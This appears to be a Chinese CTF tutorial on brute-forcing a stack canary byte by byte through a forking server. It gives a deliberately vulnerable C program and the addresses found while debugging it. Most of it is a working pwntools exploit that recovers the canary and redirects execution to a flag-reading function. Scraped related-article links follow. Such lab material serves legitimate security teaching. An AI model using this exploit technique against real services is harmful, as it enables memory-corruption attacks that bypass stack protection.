通过fork进程爆破canary
1.1.1 通过fork进程爆破canary
⑴.原理分析:
对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。
另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。
⑵.环境准备:
i.存在格式化字符串漏洞的程序:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
void getflag(void) {
char flag[100];
FILE *fp = fopen("./flag", "r");
if (fp == NULL) {
puts("get flag error");
exit(0);
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
init();
pid_t pid;
while(1) {
pid = fork();
if(pid < 0) {
puts("fork error");
exit(0);
}
else if(pid == 0) {
puts("welcome");
fun();
puts("recv sucess");
}
else {
wait(0);
}
}
}
ii.测试环境:
测试平台linux debian 7
攻击脚本编写模块:pwntools。
辅助调试插件:gdb-peda
iii. 编译命令:
gcc -m32 -q -z execstack -fstack-protector-all -o fork_canary fork_canary.c
⑶.调试分析:
i. 查看保护机制:
可以看到只开启了canary保护机制。
ii.找到存在缓冲区溢出漏洞的函数的canary值地址:
Canary位于:[ebp-0xc]=0xffffd28c。
iii. 找到缓冲区起始地址:
缓冲区起始地址:0xffffd228。
iv.确定返回地址:
Ret address = 0xffffd29c
⑷.攻击过程:
i.攻击思路:因为canary的值的第一个字节总是0x00,所以只需要爆破剩下的三个字节就可以了,每次尝试一个字节,如果程序顺利执行得到结果“welcome\n”,否则程序崩溃,通过穷举就能爆破处正确的canary值。
ii.得到getflag函数的地址:
iii.计算缓冲区大小:
由上面的调试分析可知:
缓冲区大小等于缓冲区结束的地址0xffffd28c - 0xffffd228 = 100(字节)。
iv.编写攻击脚本:
from pwn import *
context.log_level = 'debug'
cn = process('./fork_canary')
cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send('a'*100 + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break
cn.sendline('a'*100 + canary + 'a'*12 + p32(0x5655573d))
flag = cn.recv()
cn.close()
log.success('flag is:' + flag)
运行攻击脚本:
成功爆破。
通过fork进程爆破canary的更多相关文章
- C程序fork进程导致PHP执行不退出
/********************************************************************* * C程序fork进程导致PHP执行不退出 * 说明: * ...
- linux fork进程请谨慎多个进程/线程共享一个 socket连接,会出现多个进程响应串联的情况。
昨天组内同学在使用php父子进程模式的时候遇到了一个比较诡异的问题 简单说来就是:因为fork,父子进程共享了一个redis连接.然后父子进程在发送了各自的redis请求分别获取到了对方的响应体. 复 ...
- Linux0.11内核--fork进程分析
[版权所有,转载请注明出处.出处:http://www.cnblogs.com/joey-hua/p/5597818.html ] 据说安卓应用里通过fork子进程的方式可以防止应用被杀,大概原理就是 ...
- linux fork 进程后 主进程的全局变量
fork一个进程后,复制出来的task_struct结构与系统的堆栈空间是父进程独立的,但其他资源却是与父进程共享的,比如文件指针,socket描述符等 不同的进程使用不同的地址空间,子进程被创建后, ...
- linux之多进程fork:进程通信
++++++++++++++++++信号机制+++++++++++++++++++ 接收信号 int signal(int sig,__sighandler_t handler); int func( ...
- c++ fork进程与同步锁
首先定义在多进程环境中的锁,采用读写锁,即可以同时读,但只能单独写. 头文件processLock.h #ifndef PROCESSLOCK_H #define PROCESSLOCK_H #inc ...
- 什么是操作系统fork()进程
1.fork()是创建进程函数. 2.c程序一开始,就会产生 一个进程,当这个进程执行到fork()的时候,会创建一个子进程. 3.此时父进程和子进程是共存的,它们俩会一起向下执行c程序的代码. 4. ...
- 最诡异的Linux fork进程问题(我们平时都在写)
从来没有遇到过... 运行环境:在Linux自带的文本编辑器中输入C程序,在shell中编译运行,下面直接看代码和运行结果. 第一个代码:#include<stdio.h> #includ ...
- fork进程函数总结
学习链接: http://blog.csdn.net/jason314/article/details/5640969 http://coolshell.cn/articles/7965.html 搜 ...
随机推荐
- SqlHelper简单实现(通过Expression和反射)9.Sql表述对象SqlSession
此类是整个SqlHelper的另一个核心,基本思想就是通过EntityHelper,ObjectHelper和ExpressionHelper获取拼接Select语句的全部元素,拼接出完整Select ...
- 20145316 《Java程序设计》第1周学习总结
20145316 <Java程序设计>第1周学习总结 教材学习内容总结 一.了解java语言: 1.Java是一种可以撰写跨平台应用程序的面向对象的程序设计语言. Java 技术具有卓越的 ...
- 前端学习之NaN浅析
在学习Java集合的时候遇到了Float.isNaN(float)函数,点进去一看就不理解了,函数实现如下: public static boolean isNaN(float v) { return ...
- 运行bat时隐藏cmd窗口
运行bat时隐藏cmd窗口 新建一个shrjj.vbs文件,文件内容为: Set ws = CreateObject("Wscript.Shell") ws.run "c ...
- No module named _tkinter
https://www.douban.com/note/524197380/?type=like
- [Linux 005]——IO重定向
通常在 Shell 中执行命令的时候,我们会在输入命令的下方看到执行结果,操作系统默认将命令的执行结果输出到显示器上.当然,我们也可以手动的指定输出路径,或者输入路径,这就是 I/O 重定向. 1.标 ...
- Java学习第三周摘要
20145307<Java程序设计>第三周学习总结 教材学习内容总结 认识对象 类类型 Java可区分为基本类型和类类型两大类型系统,其中类类型也称为参考类型.sun就是一个类类型变量,类 ...
- MR案例:倒排索引
1.map阶段:将单词和URI组成Key值(如“MapReduce :1.txt”),将词频作为value. 利用MR框架自带的Map端排序,将同一文档的相同单词的词频组成列表,传递给Combine过 ...
- linux按照进程名杀掉进程
1.按照进程名杀掉进程 ps -ef | grep sftp | grep mysql |grep -v grep | awk '{print("kill -9 ", ...
- c++之迭代器失效
1.首先从一到题目开始谈说起迭代器失效.有时我们很自然并且自信地 用下面方法删除vector元素: #include <iostream>#include <stdio.h># ...